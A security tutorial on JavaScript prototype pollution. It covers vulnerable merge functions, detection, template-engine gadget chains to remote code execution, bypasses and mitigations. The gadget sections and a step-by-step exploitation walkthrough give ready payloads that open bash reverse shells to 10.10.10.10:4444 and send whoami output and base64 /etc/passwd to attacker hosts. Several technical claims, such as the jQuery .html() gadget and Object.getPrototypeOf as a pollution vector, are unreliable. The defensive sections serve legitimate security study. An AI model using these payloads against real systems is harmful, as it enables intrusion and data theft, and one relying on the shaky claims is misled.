Understanding the JavaScript Prototype Chain
JavaScript is a prototype-based language. Every object has an internal link to another object called its prototype, forming the prototype chain. When you access a property on an object, the engine walks up the chain until it finds the property or reaches null. This design is fundamental to JavaScript but creates a critical attack surface when user-controlled data can modify shared prototypes.
Every plain object literal in JavaScript is linked to Object.prototype through its __proto__ accessor property (or the internal [[Prototype]] slot). Consider this:
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
console.log(obj.toString === Object.prototype.toString); // true
// Setting a property on obj.__proto__ affects ALL objects
obj.__proto__.isAdmin = true;
const another = {};
console.log(another.isAdmin); // true — pollution!
The three primary vectors for reaching Object.prototype are:
obj.__proto__— the legacy accessor (present in all modern engines)Object.getPrototypeOf(obj)— the ES6 reflection API- Constructor functions:
obj.constructor.prototype
__proto__ property is not a real object property — it is an accessor defined on Object.prototype that gets/sets the [[Prototype]] internal slot. This distinction matters when using Object.create(null) which creates truly prototype-free objects.How Prototype Pollution Occurs in Real Libraries
Prototype pollution typically occurs in recursive merge, clone, or path-setting functions that iterate over attacker-controlled keys without checking for the special string __proto__, constructor, or prototype.
Lodash Deep Merge — CVE-2019-10744
Lodash versions before 4.17.12 were vulnerable in the _.merge(), _.mergeWith(), _.defaultsDeep(), and _.zipObjectDeep() functions. The vulnerable merge code effectively did:
// Simplified vulnerable merge logic (pre-fix lodash)
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
if (!target[key]) target[key] = {};
merge(target[key], source[key]); // recursive — no key sanitization
} else {
target[key] = source[key]; // direct assignment
}
}
}
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);
// Now every new object has isAdmin: true
console.log({}.isAdmin); // true
The fix added a check: if (key === '__proto__') continue; — but the constructor path was missed in early patches, leading to a bypass: {"constructor": {"prototype": {"isAdmin": true}}}.
jQuery Extend — CVE-2019-11358
jQuery's $.extend(true, {}, userInput) with deep: true was vulnerable. The fix required checking key !== "__proto__" before recursive assignment.
deep-assign and Similar Packages
Dozens of npm packages (merge, defaults-deep, mixin-deep, set-value, unset-value, flat) had similar vulnerabilities. The pattern is always: recursive traversal + no key validation.
// set-value vulnerable pattern (simplified)
function set(obj, path, value) {
const keys = path.split('.');
let current = obj;
for (let i = 0; i < keys.length - 1; i++) {
if (!current[keys[i]]) current[keys[i]] = {};
current = current[keys[i]]; // follows __proto__ if key is "__proto__"
}
current[keys[keys.length - 1]] = value;
}
set({}, "__proto__.polluted", true);
console.log({}.polluted); // true
Detection Methodology
Manual Fuzzing via HTTP Requests
Inject prototype pollution payloads into JSON bodies, query parameters, and URL fragments. Look for behavioral changes in subsequent requests or responses that indicate global state modification.
POST /api/user/update HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"__proto__": {
"isAdmin": true,
"polluted": "yes_pp_works"
}
}
After sending this, request an admin-only endpoint. If access is granted, prototype pollution exists and the application uses something like if (req.user.isAdmin) without proper property ownership checks.
Detecting via JSON Path-based APIs
// Query parameter based PP
GET /api/search?__proto__[isAdmin]=true
GET /api/search?constructor[prototype][isAdmin]=true
// URL-encoded variations
GET /api/search?__proto__%5BisAdmin%5D=true
Automated Detection with Tools
Several tools can automate detection:
- ppfuzz — fuzzes JSON bodies for prototype pollution
- pp-labs scanner — specialized tool by researcher Gareth Heyes
- semgrep with custom rules targeting
merge(,extend(,assign( - Burp Suite with DOM Invader for client-side PP
Source Code Audit Patterns
// Look for these patterns in source audits:
// 1. Recursive merge without key validation
function recursiveMerge(target, source) {
Object.keys(source).forEach(key => { // <-- no __proto__ check
if (typeof source[key] === 'object') {
recursiveMerge(target[key] || {}, source[key]);
}
});
}
// 2. Dynamic property setting via user input
app.post('/config', (req, res) => {
_.merge(config, req.body); // VULNERABLE if req.body is JSON
});
// 3. Path-based setters
_.set(obj, req.query.path, req.query.value); // VULNERABLE
Server-Side Exploitation in Node.js
Authentication Bypass
The most common immediate impact is authentication bypass. Many Node.js apps check properties like user.isAdmin or user.role using standard property access, which traverses the prototype chain:
// Vulnerable code pattern
app.get('/admin', (req, res) => {
if (req.session.user.isAdmin) { // checks prototype if own property absent
return res.render('admin');
}
res.status(403).send('Forbidden');
});
// Attack: pollute Object.prototype.isAdmin before this check runs
// POST /api/settings with body: {"__proto__": {"isAdmin": true}}
// Now any user object without own isAdmin property inherits true
Arbitrary File Read
// If the app constructs file paths using prototype properties:
app.get('/file', (req, res) => {
const opts = {}; // empty object
const base = opts.basePath || '/var/www/static'; // inherits polluted basePath
res.sendFile(path.join(base, req.query.name));
});
// Pollute: {"__proto__": {"basePath": "/etc"}}
// Then: GET /file?name=passwd => reads /etc/passwd
Gadget Chains: Prototype Pollution to RCE
A "gadget" is existing code in the application or its dependencies that can be weaponized once prototype pollution is achieved. The key insight: you don't need to write code — you just need to set the right inherited properties that existing code will consume unsafely.
EJS Template Engine — outputFunctionName Gadget
This is one of the most powerful and widely applicable gadgets. EJS (Embedded JavaScript Templates) uses options that can be polluted to inject arbitrary JavaScript into the template compilation step:
// EJS vulnerable code path (simplified from actual source):
// In ejs/lib/ejs.js, the compile function reads options like:
// opts.outputFunctionName — inserted directly into generated function string
// If polluted, this becomes an RCE gadget.
// Step 1: Achieve prototype pollution
const payload = {
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id > /tmp/pwned');s"
}
};
_.merge({}, payload);
// Step 2: Any subsequent EJS render call triggers RCE
// The template compiler generates code like:
// var __output = (outputFunctionName || 'append')
// which becomes the injected code
// Full Burp request:
/*
POST /api/merge HTTP/1.1
Host: target.example.com
Content-Type: application/json
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('curl http://attacker.com/$(whoami)');s"}}
*/
Pug Template Engine Gadget
// Pug (formerly Jade) gadget via pretty option and line property
// Affects pug versions before 3.0.1 (CVE-2021-21353-adjacent behavior)
const payload = {
"__proto__": {
"compileDebug": true,
"self": true,
"line": "1;require('child_process').execSync('id>/tmp/pwn')//"
}
};
Express.js — res.render() Gadget
// When express calls res.render(), it passes options to the template engine
// Polluting 'view options' properties affects all renders:
// Gadget: pollute the 'settings' property read by express view layer
{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"');s"}}}
// Alternative via escapeFunction property in some template engines
{"__proto__": {"escapeFunction": "1;return process.mainModule.require('child_process').execSync('id').toString()"}}
Handlebars Server-Side — compile Gadget
// Handlebars (hbs) gadget via __defineSetter__ abuse
// CVE-2019-19919 and related
const payload = JSON.parse(`{
"__proto__": {
"pendingContent": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require('child_process').execSync('id').toString()\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"
}
}`);
Node.js child_process Gadget via spawn Options
// Some applications use child_process.spawn() with options object
// If shell: true is polluted, arbitrary command execution follows
{"__proto__": {"shell": "/proc/self/exe", "env": {"NODE_OPTIONS": "--require /proc/self/fd/3"}}}
// More direct approach — pollute argv for spawn calls
{"__proto__": {"argv1": "--require /tmp/evil.js"}}
JSON-Based Prototype Pollution
JSON deserialization is a primary attack vector since JSON.parse() itself does NOT protect against prototype pollution — it faithfully creates the object graph described in the JSON string, including __proto__ as a key:
// This is valid JSON that sets __proto__ as a regular key:
const dangerous = JSON.parse('{"__proto__": {"polluted": true}}');
// dangerous.__proto__ is now a plain object, NOT Object.prototype
// BUT — when this is passed to a vulnerable merge function:
_.merge({}, dangerous);
// The merge function traverses into dangerous.__proto__
// and sets properties on the actual prototype
// Full attack chain in a typical Express app:
app.post('/api/config', express.json(), (req, res) => {
const config = {};
_.merge(config, req.body); // req.body comes from JSON.parse internally
res.json({ok: true});
});
// Payload:
// POST /api/config
// {"__proto__": {"isAdmin": true, "outputFunctionName": "x;require('child_process').execSync('id>/tmp/pwn');s"}}
AST Injection via Prototype Pollution
A sophisticated attack chain discovered by researchers at Snyk involves polluting properties consumed during Abstract Syntax Tree (AST) processing. Template engines and expression evaluators build ASTs from template strings, and some properties are read from the options object during compilation:
// AST injection in template compilation
// When a template engine builds an AST node, it may read properties
// like 'type', 'body', or 'nodes' from the environment
// Example with Nunjucks (CVE-2023-related pattern):
// Pollute the 'AST' constructor properties:
{"__proto__": {
"type": "CallExpression",
"callee": {
"type": "MemberExpression",
"object": {"type": "Identifier", "name": "process"},
"property": {"type": "Identifier", "name": "exit"}
}
}}
// More practical: Squirrelly template engine gadget
const Sqrl = require('squirrelly');
// Pollute then render any template:
{"__proto__": {"defaultFilter": "e')) + require('child_process').execSync('id') + (("}}
Real CVE Analysis
| CVE | Package | Version | Impact | Vector |
|---|---|---|---|---|
| CVE-2019-10744 | lodash | < 4.17.12 | Prototype Pollution | _.merge, _.defaultsDeep |
| CVE-2019-11358 | jQuery | < 3.4.0 | Prototype Pollution | $.extend(true,...) |
| CVE-2020-28282 | getobject | < 1.0.0 | Prototype Pollution | set() path traversal |
| CVE-2021-21353 | pug | < 3.0.1 | RCE via PP | Template compilation |
| CVE-2022-37601 | webpack loader-utils | < 2.0.3 | Prototype Pollution | parseQuery function |
Complete Exploitation Walkthrough
Here is a full end-to-end exploit against a vulnerable Node.js/Express/EJS application:
# Step 1: Identify the merge endpoint
# Look for POST endpoints that accept JSON and update config/user objects
# Step 2: Confirm prototype pollution
curl -X POST https://target.example.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"pp_test": "polluted_12345"}}'
# Step 3: Check if pollution worked (if there's a debug endpoint)
curl https://target.example.com/api/debug/config
# Look for pp_test: "polluted_12345" in any object
# Step 4: Identify template engine
# Check X-Powered-By, error messages, package.json if accessible
# Step 5: Deploy EJS RCE payload
curl -X POST https://target.example.com/api/settings \
-H "Content-Type: application/json" \
-d '{
"__proto__": {
"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl http://10.10.10.10:8080/$(cat /etc/passwd|base64 -w0)\");s"
}
}'
# Step 6: Trigger template render
curl https://target.example.com/dashboard
# The EJS render will execute the injected code
# Burp Suite version for cleaner delivery:
POST /api/settings HTTP/1.1
Host: target.example.com
Content-Type: application/json
Cookie: session=your_valid_session
{
"__proto__": {
"outputFunctionName": "x;const {execSync}=require('child_process');execSync('bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"&');s"
}
}
Client-Side Prototype Pollution
Prototype pollution also affects client-side JavaScript, where it can lead to DOM XSS through gadgets in popular libraries:
// URL fragment-based PP (common in SPAs)
// https://target.com/#__proto__[isAdmin]=true
// jQuery.extend with URL params
const params = new URLSearchParams(location.search);
params.forEach((v, k) => {
$.extend(true, config, unflatten({[k]: v})); // VULNERABLE
});
// DOMPurify bypass via PP (pre-2.0.17)
// Pollute: Object.prototype.ALLOWED_TAGS = ['script']
// Then DOMPurify(userInput) allows <script> tags
// Gadget: jQuery $.html() sink
// Pollute: {"__proto__": {"html": "<img src=x onerror=alert(1)>"}}
// Any call to $('selector').html() with no arg returns polluted value
// which may be written to DOM elsewhere
Bypassing Prototype Pollution Protections
// If __proto__ is blocked, try constructor chain:
{"constructor": {"prototype": {"isAdmin": true}}}
// URL-based bypass if key sanitization only handles exact strings:
// Keys with zero-width spaces, Unicode homoglyphs
{"\u005F\u005Fproto\u005F\u005F": {"isAdmin": true}} // __proto__ with Unicode escapes
// In some parsers, duplicate keys are handled differently:
// Last-wins vs first-wins behavior:
{"__proto__": {"safe": true}, "__proto__": {"isAdmin": true}}
// Array-based path traversal in set() functions:
set(obj, ['__proto__', 'isAdmin'], true) // if array paths aren't sanitized
Mitigation Strategies
1. Object.create(null) — Prototype-Free Objects
// Create objects with no prototype for configuration/user data:
const safeConfig = Object.create(null);
// safeConfig.__proto__ is undefined — cannot be polluted
// safeConfig.constructor is undefined
// For merge targets:
function safeMerge(source) {
const target = Object.create(null);
Object.assign(target, source); // shallow — safe for simple cases
return target;
}
2. Object.freeze() on Critical Prototypes
// Freeze Object.prototype at application startup:
Object.freeze(Object.prototype);
// This prevents any modifications to the prototype
// Note: may break libraries that legitimately extend prototypes
// Test thoroughly before deploying
3. Schema Validation with AJV
const Ajv = require('ajv');
const ajv = new Ajv();
const schema = {
type: 'object',
properties: {
name: { type: 'string' },
email: { type: 'string', format: 'email' }
},
additionalProperties: false // CRITICAL — rejects __proto__ and constructor keys
};
app.post('/api/user', (req, res) => {
const valid = ajv.validate(schema, req.body);
if (!valid) return res.status(400).json(ajv.errors);
_.merge(userObject, req.body); // safe — schema already validated
});
4. Key Sanitization in Merge Functions
function safeDeepMerge(target, source) {
const FORBIDDEN_KEYS = new Set(['__proto__', 'constructor', 'prototype']);
function merge(t, s) {
for (const key of Object.keys(s)) {
if (FORBIDDEN_KEYS.has(key)) continue; // skip dangerous keys
if (s[key] !== null && typeof s[key] === 'object' && !Array.isArray(s[key])) {
if (!t[key] || typeof t[key] !== 'object') t[key] = {};
merge(t[key], s[key]);
} else {
t[key] = s[key];
}
}
return t;
}
return merge(target, source);
}
5. Use hasOwnProperty Checks
// When checking permission properties, always use hasOwnProperty:
if (Object.prototype.hasOwnProperty.call(user, 'isAdmin') && user.isAdmin) {
// This check will NOT be fooled by prototype pollution
// because hasOwnProperty only checks own properties
}
// Never use:
if (user.isAdmin) { ... } // VULNERABLE — traverses prototype chain
6. Node.js --disable-proto Flag
# Node.js 12.17.0+ supports disabling __proto__ entirely:
node --disable-proto=delete app.js
# or
node --disable-proto=throw app.js # throws on __proto__ access
# Set via NODE_OPTIONS environment variable:
export NODE_OPTIONS="--disable-proto=throw"
--disable-proto=throw flag may break applications that legitimately inspect prototype chains. Test in staging first. The additionalProperties: false in JSON schema validation is considered the most practical production mitigation.Detection with Semgrep
# semgrep rule to find vulnerable merge patterns:
rules:
- id: prototype-pollution-merge
patterns:
- pattern: |
function $FUNC($TARGET, $SOURCE) {
...
for ($KEY in $SOURCE) {
...
$TARGET[$KEY] = ...
}
...
}
- pattern-not: |
if ($KEY === '__proto__') { ... }
message: "Potential prototype pollution in merge function $FUNC"
languages: [javascript, typescript]
severity: ERROR
# Run against your codebase:
semgrep --config=./pp-rules.yml ./src/
Summary: The Full Attack Chain
A complete prototype pollution to RCE attack follows this path:
- Identify a POST/PUT endpoint accepting JSON or a URL parameter that passes to a merge function
- Inject
{"__proto__": {"test": "polluted"}}and verify pollution via behavioral change or response - Identify the template engine in use (EJS, Pug, Handlebars) from error messages, package.json, or response headers
- Apply the appropriate gadget payload targeting that engine's compilation options
- Trigger a template render by requesting any page that uses the engine
- Receive the reverse shell or command output
The severity of prototype pollution has elevated significantly as researchers have catalogued more gadget chains. What was once considered a medium-severity issue is now consistently rated Critical when gadget chains to RCE are demonstrated. Any Node.js application running EJS with a vulnerable merge endpoint is essentially a pre-authenticated RCE waiting to be discovered.